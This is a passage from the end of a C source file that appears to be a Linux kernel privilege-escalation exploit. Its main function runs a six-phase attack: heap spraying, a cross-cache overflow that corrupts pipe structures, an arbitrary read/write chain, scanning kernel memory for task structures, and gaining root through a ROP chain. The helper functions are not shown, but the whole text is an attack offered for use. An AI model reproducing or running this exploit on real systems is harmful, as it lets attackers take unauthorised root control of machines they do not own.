    // Finalize arbitrary operation pipeline by interconnecting all chain components
    setup_arbitrary_access_chain();
    return 0;
}

/*
 * ============================================================================
 * MAIN EXPLOIT CONTROLLER
 * ============================================================================
 */
int main(int argc, char **argv) {
    log.info("===========================================================");
    log.info("           KERNEL CROSS-CACHE OVERFLOW EXPLOIT             ");
    log.info("===========================================================");
    puts("");

    //==================================================================
    // PHASE 1: ENVIRONMENT BOOTSTRAP
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP         ");
    log.info("===========================================================");
    setup_environment();
    puts("");

    //==================================================================
    // PHASE 2: HEAP LAYOUT ENGINEERING
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 2: HEAP LAYOUT ORCHESTRATION & SPRAYING              ");
    log.info("===========================================================");
    prepare_heap_layout();
    puts("");

    //==================================================================
    // PHASE 3: CROSS-CACHE CORRUPTION & PRIMITIVE BUILDING
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 3: CORE EXPLOITATION & MEMORY PRIMITIVES             ");
    log.info("===========================================================");

    trigger_cross_cache_overflow();
    if (identify_corrupted_pipes() < 0) {
        cleanup_resources();
        exit(EXIT_FAILURE);
    }
    extract_kernel_pointers();
    if (build_arbitrary_rw_chain() < 0) {
        cleanup_resources();
        exit(EXIT_FAILURE);
    }
    puts("");

    //==================================================================
    // PHASE 4: KERNEL INTELLIGENCE GATHERING
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 4: KERNEL MEMORY RECONNAISSANCE & MAPPING            ");
    log.info("===========================================================");
    find_vmemmap_base();
    scan_for_task_structs();
    puts("");

    //==================================================================
    // PHASE 5: PRIVILEGE ESCALATION
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 5: ROOT PRIVILEGE ACQUISITION VIA ROP CHAIN          ");
    log.info("===========================================================");
    privilege_escalation_by_rop_chain();
    puts("");

    //==================================================================
    // PHASE 6: POST-EXPLOITATION CLEANUP RESOURCES
    //==================================================================
    log.info("===========================================================");
    log.info("PHASE 6: POST-EXPLOITATION CLEANUP RESOURCES               ");
    log.info("===========================================================");
    cleanup_resources();
    return 0;
}